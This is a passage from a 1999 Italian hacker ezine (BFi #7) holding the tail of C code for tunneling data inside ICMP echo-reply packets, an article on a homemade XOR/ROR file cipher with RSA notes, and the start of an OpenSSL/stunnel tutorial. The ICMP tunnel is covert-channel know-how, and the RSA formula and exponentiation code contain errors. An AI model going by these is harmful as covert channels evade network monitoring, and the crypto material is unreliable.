closesocket(sockfd); icmp_init = 1; }; int ICMP_send(char *send_mesg, size_t mesglen, ULONG dest_ip, int echo, int last) { int sparato; struct tunnel { struct icmp icmp; UCHAR data[MAXMESG]; } icmp_pk; int icmplen = sizeof(struct icmp); int pack_dim; struct sockaddr_in dest; int destlen; if(mesglen > MAXMESG) return(-1); if(icmp_init) ICMP_init(); destlen = sizeof(dest); bzero((char *)&dest, destlen); dest.sin_family = AF_INET; dest.sin_addr.s_addr = dest_ip; pack_dim = mesglen + sizeof(struct icmp); memset(&icmp_pk, 0, pack_dim); icmp_pk.icmp.Type = ICMP_ECHOREPLY; bcopy(send_mesg, (char *)&icmp_pk.icmp.Dati, mesglen); icmp_pk.icmp.CheckSum = checksum((USHORT *) &icmp_pk.icmp, (sizeof(struct icmp) + mesglen)); if(echo) icmp_pk.icmp.Seq = ECHO_TAG; if(last) icmp_pk.icmp.Seq = ECHO_LAST; if(sparato = sendto(sockfd, (char *)&icmp_pk, pack_dim, 0, (struct sockaddr *)&dest, destlen) < 0) { perror("RAW ICMP SendTo: "); return(-1); } else if(sparato != pack_dim) { perror("dimensioni pacchetto IP errate: "); return(-1); } return(sparato); }; int ICMP_recv(char *recv_mesg, size_t mesglen, int echo) { struct recv { struct ip ip; struct icmp icmp; char data[MAXMESG]; } rcv_pk; int pack_dim; int accolto; int iphdrlen; int clilen = sizeof(clisrc); if(icmp_init) ICMP_init(); while(1) { pack_dim = mesglen + sizeof(struct ip) + sizeof(struct icmp); memset(&rcv_pk, 0, pack_dim); if((accolto = recvfrom(sockfd, (char *)&rcv_pk, pack_dim, 0, (struct sockaddr *) &clisrc, &clilen)) < 0) continue; iphdrlen = rcv_pk.ip.Hlen << 2; if(accolto < (iphdrlen + ICMP_MINLEN)) continue; accolto -= iphdrlen; if(!echo) { if(!rcv_pk.icmp.Id && !rcv_pk.icmp.Code && rcv_pk.icmp.Type == ICMP_ECHOREPLY && rcv_pk.icmp.Seq != ECHO_TAG && rcv_pk.icmp.Seq != ECHO_LAST) break; } if(echo) { if(!rcv_pk.icmp.Id && !rcv_pk.icmp.Code && rcv_pk.icmp.Type == ICMP_ECHOREPLY && (rcv_pk.icmp.Seq == ECHO_TAG || rcv_pk.icmp.Seq == ECHO_LAST)) break; } } if(!echo) { accolto -= ICMP_HDR; bcopy((char *)&rcv_pk.icmp.Dati, recv_mesg, accolto); return(accolto); } if(echo) { if(rcv_pk.icmp.Seq == ECHO_TAG) { accolto -= ICMP_HDR; bzero(recv_mesg, sizeof(recv_mesg)); bcopy((char *)&rcv_pk.icmp.Dati, recv_mesg, accolto); return(accolto); } return(-666); } }; Qua finisce il codice della libreria. Per scrivere programmi e' inoltre assolutamente necessario inserire alcune righe di codice nel main: void main(int argc, char **argv) { WSADATA ws; int status; // Inizializzazione delle Winsock if(status = WSAStartup(0x101, &ws) != 0) { fprintf(stderr, "Impossibile inizializzare Winsock"); exit(0); } // qua ci va il codice vero e proprio, ma devo dire che mi passa la voglia di // scriverlo dopo le madonne che ho tirato per far girare il codice ICMP... // Chiusura e deallocazione WSACleanup(); } Questo e' dovuto al fatto che le winsock hanno la necessita' di essere inizializzate: in pratica e' un po' come se si dovesse dire al sistema "Occhio che da qui in poi uso le Winsock e quindi prepara tutte le interfacce" o una roba del genere... So che non e' molto tecnico, ma non ho trovato nessuna definizione rigorosa del perche' sia necessaria una dichiarazione esplicita di inizializzazione... Misteri imperscrutabili di mamma Miciosoft... ============================================================================== --------------------------------[ EOF 13/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-14100777 1750 144 34300 7031215207 11760 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 14 di 22 ]------------- ============================================================================== -[ CRYPT0GRAPHY ]------------------------------------------------------------- ---[ VLV-CRYPT v1.0b 32BiT SiNGLEKEY ENGiNE EDiTi0N - Valvoline ,---------------------------------------------------------------------------, |VlV-Crypt v1.0b - 32Bit SingleKey Engine Edition | |(c) 1999/2000 Valvoline's CReW LABS. | |...........................................................................| |CODING: valv{0} | |...........................................................................| |CONTACT: http://valvoline.cjb.net | |...........................................................................| |VERSION: 1.0.16 - 07/12/1999 | |...........................................................................| |Public Release for BFi #7 Ezine (http://www.s0ftpj.org) | |...........................................................................| |This program is free software; you can redistribute it and/or modify | |it under the terms of the GNU General Public License as published by | |the Free Software Foundation; either version 2 of the License, or | |(at your option) any later version. | | | |This program is distributed in the hope that it will be useful, | |but WITHOUT ANY WARRANTY; without even the implied warranty of | |MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |GNU General Public License for more details. | | | |You should have received a copy of the GNU General Public License | |along with this program; if not, write to the Free Software | |Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA | | | |The author of this program may be contacted at valvoline@3isecurity.com | '---------------------------------------------------------------------------' |Tabella Contenuti: | |.................. | |o. Introduzione | |o. Breve Descrizione Algoritmi Criptazione | |o. Funzionamento VlV-Crypt e Breve Manuale D'uso | |o. Future Versioni | |o. Ringraziamenti e Crediti | '---------------------------------------------------------------------------' ,---------------------------------------------------------------------------, |Introduzione | '---------------------------------------------------------------------------' Tempo fa (Circa 1 Anno), avevo pubblicato su questa stessa ezine un algoritmo di criptazione a Doppia Chiave (DoubleKey) con fattore di Criptazione a 32Bit. Il mio lavoro e ricerca non si e' mai fermato. Nel frattempo, sono cambiati gli standard, sono cambiati i programmi alla radio, sono cambiate le VeeJay di MTv (!), ma soprattutto sono cambiati i miei rapporti con il mio docente di Criptazione Pubblica! In realta' penso ancora (nell'imparare non c'e' mai fine), che il programma sia ancora in stato embrionale e che di lavoro da fare ce n'e'(e ce ne sara'). Sono riuscito pero' a fondere tutto quello che ho fatto sin'ora, e di miscelarlo in una bella (spero) soluzione grafica sotto Windows. In questi giorni mi e' girata per le mani l'ultima beta3 di Win2k (Grazie MARK) e anche compilando e lavorando a grossi regimi sotto quest'ultimo non sembrano essersi verificati grossi problemi (a parte quelli che mi hanno costretto ad apportare qualche modifica lampo al CheckSum). Voglio anche sottolineare (come spiega la "storiella" in testa a questo articolo), che questo programma e' stato concepito e realizzato per BFi, ED E' FREEWARE. Potete farci quello che volete. Io ho poco tempo. Attualmente sto' lavorando all'ultima beta del nuovo sistema di amministrazione remota (S.I.D.E Winder). Sto' studiando come un porko e cosa ancora piu' grave sto' collaborando per l'apertura di un portale Internet... quindi di lavoro ne ho gia' troppo... ...come si dice: ho lanciato l'esca, speriamo che qualcuno abbocchi all'amo (!). I sorgenti sono ampiamente documentati ed il codice non dei piu' ostili. Insomma: chi vuole lavorarci (ed ha buona volonta') puo' farlo. Per consigli e suggerimenti sono sempre reperibile ai soliti indirizzi e-mail: valvoline@s0ftpj.org valvoline@3isecurity.com oppure WEB: http://valvoline.cjb.net Piantatevi davanti al monitor, prendetevi una birra, accendete una sigaretta (di quelle buone pero', Marlboro Lights ad esempio). Adesso si inizia... ,---------------------------------------------------------------------------, |Breve Descrizione Algoritmi Criptazione | '---------------------------------------------------------------------------' Si fa' un gran parlare di algoritmi di criptazione. Oltretutto, corregetemi se sbaglio, questo argomento non assolutamente nuovo neanche a questa rivista. Non avro' quindi la pretesa (anche perke' mi fanno male le mani) di illustrarvi un trattato sulla criptazione. Cercher soltanto di darvi le basi di partenza per un futuro (spero), VlV-Crypt v2.0 . Gli Algoritmi di criptazione, in larga analisi, possono essere divisi in due grosse categorie: o1. Algoritmi di Criptazione a Chiave/i Privata/e o2. Algoritmi di Criptazione a Chiave Pubblica Quali sono le differenze? Gli algoritmi del tipo [o1] si basano sulla segretezza della/e chiave/i utilizzata/e per la codifica del messaggio. In questo tipo di sistema NON E' PERMESSA LA DIVULGAZIONE DELLA/E CHIAVE/I, PENA LA PERDITA DI SICUREZZA DI TUTTO IL SISTEMA. Il sistema si basa sull'utilizzo della chiave come perno di codifica del messaggio. I sistemi utilizzati sono di vario tipo. Si passa dalla semplice somma di matrici N-dimensionali (i bytes della chiave con i bytes del messaggio originale), a complicati sistemi di XOR con checksum della chiave. Gli algoritmi del secondo tipo [o2] sono algoritmi che sfruttano nella stragrande maggioranza dei casi un sistema di generazione di chiavi con metodi di fattorizzazione. In pratica viene creata una chiave privata da cui e' estrapolata una chiave pubblica, da distribuire, ed infine si cripta il messaggio. L'input del nostro algoritmo di criptazione allora, oltre al BODY, sar la nostra chiave privata e la chiave pubblica del/i destinatario/i. Una volta criptato il messaggio, esso potr essere decriptato soltanto dai corrispettivi utenti abilitati durante la fase di cripting, in possesso della nostra chiave pubblica. In pratica viene aggiunta una firma elettronica NON CONTRAFFABILE al messaggio. La desiderabile proprieta' di cui godono questi sistemi che questa firma puo' essere facilmente (e velocemente) verificata da chiunque, ma difficilmente (in alcuni casi questo e' impossibile) contraffatta e/o modificata da qualcuno. Tutto questo racchiuso in una semplice parola: FATTORIALI. Propriet matematica di sicuro conosciuta dai piu' smaliziati lettori (io personalmente ne ho fin sopra le orecchie di Analisi Matematiche, calcoli di probabilita', matrici e statistiche), viene utilizzata per la sua enorme differenza tra la facilita' di trovare numeri primi grandi e la difficolta' di scomporre in fattori il prodotto di due numeri primi grandi. Facciamo un esempio per rendere chiaro il concetto. In un sistema a chiave pubblica, i partecipanti sono in possesso delle rispettive chiavi Pubbliche (P) e Private (S). Rossi Bianchi -----------------+--------+---------+ Chiave Pubblica | Pr | Pb | Chiave Privata | Sr | Sb | -----------------+--------+---------+ I nostri due partecipanti potranno divulgare la chiave pubblica, ma NON DOVRANNO MAI CEDERE LA CHIAVE PRIVATA. Per qualunque nostro messaggio avremo che: Mex = Sr(Pr(Mex)) <--> Mex = Pr(Sr(Mex)) Trasformando cio il messaggio Mex, con le due chiavi Pr e Sr successivamente in entrambi i versi, si ottiene lo stesso messaggio. IN UN SISTEMA DI CRITTOGRAFIA A CHIAVE PUBBLICA, E' ESSENZIALE CHE NESSUNO TRANNE IL PROPRIETARIO, SIA CAPACE DI CALCOLARE LA FUNZIONE Sr() IN UNA QUANTITA' DI TEMPO RAGIONEVOLMENTE BASSA. Ovviamente, l'ipotesi appena fatta deve valere anche se ogni utente conosca Pr e possa colcolare Pr() (la funzione inversa di Sr). La difficolta' maggiore, allora, risiede nel trovare un sistema che permetta di divulgare la chiave Pr senza per questo rivelare come calcolare la porzione di codice Sr segreta. Di seguito, vengono illustrati l'idea ed i passi necessari per implementare il sistema di codifica pubblica RSA. Nel sistema RSA, un partecipante crea le sue chiavi nel modo seguente: o. Seleziona a caso due numeri primi p e q grandi (~1*10^1000000). o. Calcola n dall'equazione: n = p*q o. Seleziona un intero piccolo dispari 'e' tale che: 'e' e O(n) siano primi tra di loro. Con: O(n) = (p-1)(q-1) o. Calcola d, il reciproco di e, modulo O(n) o. Pubblica la coppia P=(e,n) <-- Chiave Pubblica RSA o. Tiene Segreta la coppia S=(d,n) <-- Chiave Segreta RSA La trasformazione del messaggio a cui si accennava prima diventa allora: P(Mex) = (Mex ^ e) mod n La trasformazione di un messaggio criptato diventa: S(Cripted) = (Cripted ^ e) mod n Di seguito espongo un semplice algoritmo conosciuto con il nome di ELEVAMENTO A POTENZA MODULARE, CHE CALCOLA dati A, B, N: (A ^ B) mod N long elevamento_a_potenza_modulare(long a,int b[MAX_ELEM],long n) { long i, c, d; int k=MAX_ELEM; for(i=k; i>0; i--) { c = 2*c; d = (d*d) mod n; if (b[i] == 1) { c = c+1; d = (d*a) mod n; } } return d; } Ovviamente, alcune cose, per lavorare su messaggi da criptare, vanno ritoccate. Ad esempio, quello che nel codice viene dichiarato come array di interi B dovrebbe essere sostituito da una stringa e la restante porzione di codice andrebbe modificata di conseguenza, per lavorare sui BIT. ,---------------------------------------------------------------------------, |Funzionamento VlV-Crypt e Breve Manuale D'uso | '---------------------------------------------------------------------------' Il VlV-Crypt, nella sua pi semplice implementazione, si basa su di un sistema del tipo [o1] (a chiave privata). Il sistema utilizza una chiave di ingresso fornita dall'utente a 32Bit (32*8 = 256Bytes [2048 bits]). La chiave di ingresso viene successivamente passata ad un controllo di CheckSum e viene XOR/ROR "ata", per criptare BYTE-per-BYTE il file. .............................................<-\ ............................................. | mov ebp,[chunk_location] | add ebp,offset chunk_buffer | mov dl,[ebp] | xor dl,[key_check_sum] | xchg [key_check_sum2],cl | ror dl,cl | xchg [key_check_sum2],cl | rol dl,cl | Checksum Rolling Test add dl,cl | --------------------- ror bl,3 | xor dl,bl | and al,ah | xor dl,al | neg dl | pop eax | xor dl,al | mov [ebp],dl | jmp next_byte <---/ ............................................. ............................................. <--\ mov ax,word ptr [current_position] | mov cx,ax | mov bx,ax | and al,ah | xor dl,al | ror bl,3 | xor dl,bl |Inizio Cripting add cl,ch |--------------- sub dl,cl | ror dl,cl | xchg [key_check_sum2],cl | rol dl,cl | xchg [key_check_sum2],cl | xor dl,[key_check_sum] | mov [ebp],dl | ............................................. | .............................................<---/ ,---------------------------------------------------------------------------, |Future Versioni | '---------------------------------------------------------------------------' Come gia' detto: IL TEMPO E' TIRANNO. Non so se e quando riusciro' a ritornare su questo progetto... Comunque, in cantiere (IL CODICE LO PREVEDE GIA') c'e' l'estensione del programma ad una doppia chiave (con relativo DOUBLE-Checksum) di codifica e l'adozione del sistema RSA, con modifiche opportune anti-cracking (RANDOM SALTING, penso...). ,---------------------------------------------------------------------------, |Ringraziamenti e Crediti | '---------------------------------------------------------------------------' I miei piu' sentiti ringraziamenti vanno a: \sPIRIT\ - ola' fratello MarkB - cool & ever green Windoze Support BBK - Internet Supporter Tutto s0ftpr0ject, spippolatori, Attila Hack, Quequero, AIS ...e tutti quelli che non mi tornano in mente! Valvoline's Researching LABS e' raggiungibile via: EMAIL: - valvoline@s0ftpj.org - valvoline@3isecurity.com WEB: - http://valvoline.cjb.net ============================================================================== --------------------------------[ EOF 14/22 ]--------------------------------- ============================================================================== BFi-7/BFi07-15100777 1750 144 362445 7031215207 12017 0ustar smasterusers============================================================================== ------------[ BFi numero 7, anno 2 - 25/12/1999 - file 15 di 22 ]------------- ============================================================================== -[ CRYPT0GRAPHY ]------------------------------------------------------------- ---[ CRiTT0GRAFiA SPiCCi0LA: OPENSSL & STUNNEL - Kobaiashi Titolo: Crittografia spicciola Sottotitolo: lo Zen e l'arte della crittografia. Aloha... sono Kobaiashi (no il mio nick NON viene ne' da I soliti sospetti ne' dai manga - leggere le KobaFAQ :). Questo e' il mio primo (e non ultimo, tempo permettendo) articolo per BFi... in realta' voleva essere una presentazione-comparazione approfondita dei firewall integrati nei vari sistemi operativi Open Source (ipchains, ipfw, ipfilter); per mere questioni temporali sono stato costretto a desistere.. ragion per cui vi presento un breve (beh, almeno rispetto alla Bibbia) how-to sull'utilizzo di openssl e stunnel nella creazione di collegamenti crittografati (cifrati, cioe' codificati in maniera che sia impossibile "capirne" il significato anche analizzandone il contenuto) e verifica dell'identita' tramite protocollo TCP. Non aspettatevi un articolo tecnico, ma un breve tutorial pratico sull'integrazione di questi strumenti nell'uso quotidiano. Premessa: inizialmente mi dilunghero' nell'introdurre, spiegare ed esemplificare concetti che il 90% di voi gia' conosce (o pensa di conoscere). Se proprio vi sentite T0 3l1T33 passate direttamente alla sezione "Strumenti necessari" (si' ci sono i comandi da utilizzare...), o al prossimo articolo... Per ogni acronimo o concetto di "difficile" comprensione ho cercato di aggiungere (tra parentesi) un esempio o una spiegazione nelle immediate vicinanze (tipo qui). Altri concetti vengono inizialmente solo nominati e saranno approfonditi proseguendo con la lettura. Altri ancora (imap, pop3, etc.) sono nominati senza spiegazione alcuna - se non vi sono familiari non e' un problema (siamo qui per imparare), ma vi ricordo che state leggendo BFi, non il manuale delle giovani marmotte. Se siete ancora qui, benvenuti e buona lettura (odio quelli T0 3l1T33) Ma veniamo al sodo... Consumo: un uovo (BWHAHAHAHAHAHAHAHAHA) Cui prodest? Una delle problematiche maggiori legate all'utilizzo di sistemi di autenticazione nel networking e' TUTTORA la trasmissione di password e altre informazioni sensibili in chiaro (ovvero non cifrate). Sebbene la crittografia sia gia' molto usata nell'e-commerce ed i browser piu' diffusi (Netscrape o Internet Exploder + Outluck, p. es.) abbiano il supporto SSL/TLS integrato per la navigazione e l'accesso a imap e/o smtp in maniera sicura (cifrata), un numero considerevole di informazioni vengono ancora scambiate in chiaro, password comprese, tra client e server e tra server e server (un esempio su tutti, la posta elettronica - inutile utilizzare ssh sulla vostra preziosa shell quando poi accedete in chiaro al pop3 con lo stesso username/password). Tramite gli strumenti qui descritti (o altri simili) e' possibile creare con pochissimo sforzo ed in maniera "trasparente" alle applicazioni (cioe' continuando ad utilizzare i vostri client preferiti e senza nessun aggiornamento) connessioni crittografate (e standard) per la maggior parte dei servizi che utilizzano TCP, ed, opzionalmente, verificare l'identita' del server e/o del client tramite certificati X.509. E' interessante notare che e' possibile anche per un singolo utente senza privilegi di root installare (smenando un po' nel configure e nei Makefile) ed utilizzare sia openssl sia stunnel (per gli ircari piu' 3l1t33.. si', potete tunnelarvi il vostro bnc). Cosa tunnelare? E' possibile tunnelare (trasportare un protocollo all'interno di un altro) qualsiasi connessione TCP, ad esclusione dell'ftp e di altri protocolli "multiporta" o con implementazioni particolari. Personalmente ho provato smtp, pop3, bnc (e telnet - vedi le note in seguito), su sistemi operativi OpenBSD, FreeBSD, Linux e (brevemente) Win98. Quanto e' sicuro? Senza entrare in dettagli tecnici sulla solidita' degli algoritmi di crittografia, sulla generazione pseudocasuale di numeri e sulle problematiche dell'utilizzo di PKI (Public Key Infrastructure) per l'autenticazione [cioe': se l'NSA vi sta dietro non pensiate di risolvere i vostri problemi cosi'], personalmente NON mi sento di raccomandare questo tipo di implementazione in sistemi in cui sia necessario un grado di sicurezza elevato (server commerciali, p. es.), almeno non prima di aver effettuato un adeguato auditing sui sorgenti di openssl e stunnel. Certamente pero' puo' mettere al riparo le vostre trasmissioni dai curiosi occasionali e proteggere i vostri server dagli "script kiddies". Per gli amanti dei numeri: stunnel (openssl) puo' utilizzare chiavi RSA o DH di qualsiasi dimensione (default: 512 bit per lo scambio delle chiavi, 1024 bit per i certificati) e algoritmi di crittografia a 128 bit e oltre (default: triple-des a 168 bit). Come funziona? Stunnel incorpora sia la modalita' "client" che la modalita' server e puo' essere utilizzato sia da inetd che in daemon-mode; sia come redirect verso un servizio gia' attivo su un'altra porta che lanciando direttamente il programma da tunnelare (Nota: d'ora in poi mi riferiro' per comodita' a stunnel in modalita' server come "stunnel_server" e in modalita' client come "stunnel_client", anche se il programma da utilizzare e' lo stesso, variano solamente i parametri). L'utilizzo piu' semplice (e quello che io preferisco) e' come redirect verso una porta dove sia gia' attivo un daemon o un servizio inetd standard - questo ci permette di utilizzare piu' facilmente stunnel_server con privilegi NON root e "separare" i compiti che le varie componenti del sistema devono svolgere, garantendo maggiore sicurezza. Esempio pratico. I dati sono plausibili, ma NON obbligatori. L'esempio presuppone che abbiate almeno un accesso root o user sulla macchina che contiene la vostra casella di posta POP3; oppure che vi siate "intortati" il sysadm convincendolo ad installare stunnel o un qualsiasi altro sistema compatibile con SSL o TLS. Supponiamo di voler accedere alla nostra casella di posta in maniera che sia impossibile per chiunque leggere il contenuto dei nostri messaggi o "rubare" la nostra password. (E' da notare che e' comunque possibile intercettare il contenuto dei messaggi "a monte", mentre vengono inviati dal server di posta del mittente a quello di destinazione, poiche' nella quasi totalita' dei casi il protocollo smtp viene utilizzato in chiaro). Attiveremo stunnel_server sulla porta 995 della macchina su cui risiede il POP3 che vogliamo interrogare (mail.s0ftpj.org) e lo configureremo in modo che tutte le connessioni SSL in arrivo sulla porta 995 vengano decrittate e reindirizzate verso la porta 110 della stessa macchina (nota: e' possibile reindirizzare la connessione anche verso un servizio attivo su un'altra macchina, per esempio all'interno di una rete dietro un firewall o dove piu' vi aggrada; ovviamente le connessioni da stunnel_server alla porta reindirizzata saranno IN CHIARO, quindi questo utilizzo e' SCONSIGLIATO). Sulla macchina da cui vogliamo poter scaricare la posta attiveremo invece stunnel_client configurato per reindirizzare, crittografate, tutte le connessioni ricevute sulla porta 110 (localhost) verso la porta 995 del server di posta reale. Infine, nel client che siamo soliti utilizzare per la posta, modificheremo l'indirizzo del server POP3, specificando localhost al posto di mail.s0ftpj.org. Abbiamo gia' raggiunto il nostro obbiettivo iniziale, proteggere il contenuto dei i dati in transito: tutte le connessioni tra stunnel_client e stunnel_server (porta 110 localhost <-> porta 995 mail.s0ftpj.org) avverranno in maniera cifrata, i dati in chiaro verranno trasmessi solamente attraverso l'interfaccia loopback (lo - un'interfaccia di rete virtuale - ip: 127.0.0.1; funziona piu' o meno come una qualsiasi interfaccia "reale", ma i dati non vengono "fisicamente" inviati all'esterno dello stack tcp/ip del sistema operativo e non e' possibile raggiungerla tramite gli indirizzi reali, salvo in caso di "apposite istruzioni" o redirect. Il succo del discorso e': per il vostro vicino di scrivania attaccato al vostro stesso cavo ethernet e' comunque impossibile analizzare quello che passa sulla vostra interfaccia loopback. Ovviamente, con un accesso locale e privilegi di root o simili e' possibile sniffare il traffico sull'interfaccia loopback. - si': lo c'e' anche sotto Windozz - provate ping 127.0.0.1 - anche se non viene riportata nel Pannello di Controllo... :) Con un altro piccolo sforzo e' pero' possibile aggiungere "quel tocco di sicurezza in piu' che non guasta mai" e metterci al riparo dal famoso "man in the middle" attack (un attaccante puo' fingere - tramite dns spoofing, p. es. - di essere il server a cui vogliamo collegarci - comportandosi in maniera analoga, p. es. con un tunnel ssl sulla porta 995 ed un server POP3 "fake" per "rubare" le password che il nostro client comunichera'), chiedendo a stunnel_client di verificare il certificato (l'identita') del server a cui ci stiamo collegando. E' anche possibile impostare stunnel_server in modo che verifichi il certificato dei client e permettere l'accesso solamente agli utenti autorizzati. Come funziona tecnicamente? SSL (Secure Socket Layer protocol) e' un protocollo sviluppato dalla Netscape per garantire maggiore sicurezza nelle trasmissioni su rete tcp/ip (Internet, p. es. :). Permette di utilizzare qualsiasi protocollo e fornisce funzioni di crittografazione e verifica dell'integrita' dei dati trasmessi e autenticazione dei server e dei client. La verifica dell'identita' e' ottenuta tramite "certificati" (particolari meccanismi possibili grazie ai digest - metodi per estrarre da un dato documento di lunghezza qualsiasi una "stringa" univoca di lunghezza definita; ed alla crittografia a chiave pubblica - crittografia che utilizza due distinte chiavi per proteggere i dati, una privata da mantenere segreta ed una pubblica da distribuire liberamente. Utilizzando la chiave pubblica di Tizio e' possibile cifrare un messaggio/file/etc. in modo che solamente Tizio riuscira' a decifrarlo utilizzando la sua chiave privata - e' anche possibile per Tizio "firmare" un blocco di dati con la sua chiave privata. Chiunque in possesso della chiave pubblica di Tizio potra' verificare l'effettiva appartenenza della firma e l'integrita' dei dati); le informazioni tra client e server vengono scambiate utilizzando la crittografia "tradizionale" (crittografia simmetrica - i dati vengono cifrati e decifrati con un'unica chiave che deve essere conosciuta sia dal mittente che dal ricevente) con una chiave generata casualmente e scambiata in maniera "sicura" tramite tecniche di crittografia a chiave pubblica (questo perche', anche con le attuali tecnologie, utilizzare la crittografia a chiave pubblica per grandi quantita' di dati comporta un enorme utilizzo di risorse di calcolo, mentre la crittografia simmetrica, una volta risolto il problema dello scambio delle chiavi tra le parti coinvolte, garantisce un grado di sicurezza analogo e velocita' notevolmente maggiore); l'integrita' dei dati e' garantita utilizzando nuovamente i digest e le funzioni di "firma" della crittografia a chiave pubblica. Attualmente l'ultima versione del protocollo SSL pubblicata dalla Netscape e' SSLv3 (http://www.netscape.com/eng/ssl3/); un apposito "working group" dell'IETF (Internet Engineering Task Force - http://www.itef.org -, un gruppo eterogeno di persone che volontariamente si occupa di studiare, proporre e promuovere gli standard che "regolano" ogni aspetto delle comunicazioni su Internet - pubblicandoli prima come "internet-drafts" e successivamente come RFC, una volta "definitivi" - ma non e' semplicissimo il concetto :) ha recentemente pubblicato le specifiche per il protocollo TLS (Transport Layer Security protocol) v. 1.0 (RFC 2246 - http://www.ietf.org/rfc/rfc2246.txt), basato su SSLv3. Anche se i due protocolli non sono compatibili, sono tuttavia molto simili, e generalmente i software che implementano TLS possono comunicare anche con software che implementano solamente SSLv3 o SSLv2 (http://www.netscape.com/eng/security/SSL_2.html - che e' ancora utilizzato ma in fase di abbandono per alcuni noti problemi di sicurezza). OpenSSL (http://www.openssl.org) e' una libreria Open Source (basata su SSLeay - http://www.ssleay.org - non piu' sviluppata) che fornisce funzioni per implementare SSL v2/v3 e TLS v1; funzioni di crittografia generale (simmetrica: des, 3des, rc2, rc4, IDEA, Blowhfish; asimmetrica: RSA, DSA, Diffie-Hellman; digest: MD2, MD4, SHA, SHA-1, MDC2, RMD160), gestione certificati X.509v3 (creazione, certificazione, verifica, etc.) e funzionalita' mimime per implementare CA (Certification Authority). Stunnel utilizza le funzionalita' fornite da questa libreria per creare "tunnel" tcp in modalita' client/server, con verifica opzionale dei certificati. E' da notare che e' possibile utilizzare stunnel come client per servizi SSLv2/v3 e TLS v1 anche non basati su stunnel o non basati su openssl e viceversa. A grandi linee, il tutto funziona cosi': il client ssl invia una richiesta di connessione (se si utilizza, p. es., stunnel_client per il POP3 con Netscape, la richiesta di connessione verra' inviata "trasparentemente" quando si utilizzera' la funzione "Check Mail") verso il server remoto (per esempio la porta 995 di mail.s0ftpj.org) "negoziando" le opzioni necessarie a stabilire una comunicazione sicura tramite l'handshake SSL. Viene verificato che sia possibile comunicare utilizzando TLS o SSL in una delle versioni supportate (stunnel_client utilizza SSLv3 - stunnel_server supporta client SSLv2, SSLv3 e TLSv1); viene scelta la CipherSuite (vedi dopo) da utilizzare (il client comunica in ordine di preferenza quelle supportate ed il server "sceglie" la prima "ammissibile"); vengono scambiati altri dati di varia utilita', tra cui un "identificativo di sessione" (Session ID, generalmente viene comunicato dal server ed utilizzato per tutta la durata del collegamento, ma puo' essere comunicato anche dal client per "ripristinare" collegamenti interrotti o creare nuovi collegamenti tra lo stesso client e lo stesso server senza effettuare nuovamente lo scambio delle chiavi e la negoziazione dei parametri di sicurezza, qualora non sia intercorso piu' di un certo timeout dall'ultimo collegamento; il default in stunnel e' 300 secondi, ma e' possibile utilizzare questa "session-cache" solamente se utilizzato come daemon, non da inetd) ed alcuni dati "random" (generati casualmente) utilizzati successivamente. Il server trasmette il proprio certificato (se ne ha uno e/o se e' stata richiesta l'autenticazione da parte del client - stunnel_server invia SEMPRE quella presente in stunnel.pem, anche qualora il client non lo richieda espressamente) ed (opzionalmente) una seconda chiave pubblica generata casualmente, se la prima (contenuta all'interno del certificato) non fosse utilizzabile per cifrare dati (p. es. una chiave DSS) o se deciso in fase di implementazione del software (stunnel_server utilizza SEMPRE anche una seconda chiave; lanciato come daemon generata una chiave RSA temporanea che viene utilizzata per tutti i collegamenti fino a quando il daemon non viene "terminato"; lanciato da inetd genera ad ogni sessione una chiave temporanea ex-novo. Viene anche inizializzato DH se presente l'apposito parametro - un numero primo di una certa lunghezza, generalmente 512 cifre - nel file stunnel.pem - in base alla CipherSuite scelta dal client, verra' fornita la chiave RSA o un parametro da usarsi con DH). Il client verifica il certificato del server, qualora l'utente (o il software che utilizza) abbia richiesto l'autenticazione del server, ed invia (qualora il server lo specifichi) il proprio certificato per essere a sua volta autenticato. Il client genera casualmente una "premaster-key" e la invia cifrata tramite la chiave pubblica del server. Il client ed il server applicano lo stesso meccanismo matematico per ottenere dalla "premaster-key" (e da altri dati, tra cui i dati random scambiati precedentemente) una chiave da utilizzare tramite l'algoritmo "simmetrico" precedentemente scelto (negoziazione CipherSuite) e verificano di poter effettivamente comunicare tra loro utilizzando questo algoritmo e questa chiave. La comunicazione viene finalmente "trasferita" ai client reali, che possono a loro volta negoziare il protocollo, l'autenticazione, etc. come se le comunicazione fosse "diretta". E' da notare che la prima parte dell'handshake SSL avviene IN CHIARO (fino a quando il server non comunica la propria chiave pubblica); sia il client che il server non trasmettono nessun dato ai corrispettivi client/server "nascosti" fino a quando non abbiano stabilito congiuntamente che la comunicazione e' sicura (un qualsiasi errore di protocollo, di verifica, di autenticazione, etc. nell'handshake provoca l'interruzione del collegamento - anche successivamente vengono trasmessi solamente i dati che siano cifrati con la corretta chiave e siano verificati tramite digest e "firma"). CipherSuite? La CipherSuite e' un codice standard che definisce la combinazione dell'algoritmo di scambio delle chiavi, dell'algoritmo di crittografazione dei dati e dell'algoritmo per la generazione dei digest. Come CipherSuite di default openssl specifica EDH-RSA-DES-CBC3-SHA. Il primo parametro e' il meccanismo di scambio delle chiavi (EDH - protocollo sviluppato da Diffie e Hellman nel 1976 per la negoziazione di chiavi private utilizzando canali in chiaro, nella versione "Ephemeral" permette di aggiungere controlli sull'autenticazione delle due parti). Il secondo parametro e' il tipo di certificato utilizzato (RSA - algoritmo di crittografia a chiave pubblica che permette sia la cifrazione/decifrazione che la "firma" di certificati o altri dati, sviluppato da Rivest, Shamir e Adleman nel '77). Il terzo parametro e' il tipo di crittografia simmetrica utilizzata nei successivi scambi di dati, una volta che i due lati siano reciprocamente autenticati (se necessario) ed abbiamo "deciso" una chiave "segreta" da utilizzare durante la sessione (DES-CBC3 - Data Encryption Standard anche noto come Data Encryption Algorithm, sviluppato dall'IBM con il "controllo" e su mandato di NSA e NIST - due organismi governativi USA; in una delle sue "ultime" rivistazioni, cioe' "triple-des", ovvero utilizzando 3 distinte chiavi di 56 bit per cifrare ogni blocco di dati ripetutamente; CBC - Cipher Block Chaining - e' una delle possibili modalita' di processare un "block cipher", ovvero un algoritmo di crittografazione a chiave simmetrica che produce per ogni dato blocco di dati non crittografati - generalmente 64 o 128 bit - un blocco di dati cifrato di lunghezza eguale). L'ultimo parametro e' il tipo di "digest" utilizzato per verificare l'integrita' dei dati trasmessi (SHA- Secure Hash Algorithm, sviluppato dal NIST e riveduto nel '94 come SHA-1 per problemi di sicurezza - openssl supporta entrambi, ma utilizza solamente il secondo nella scelta delle CipherSuite). E' da notare che la terminologia utilizzata da openssl per le 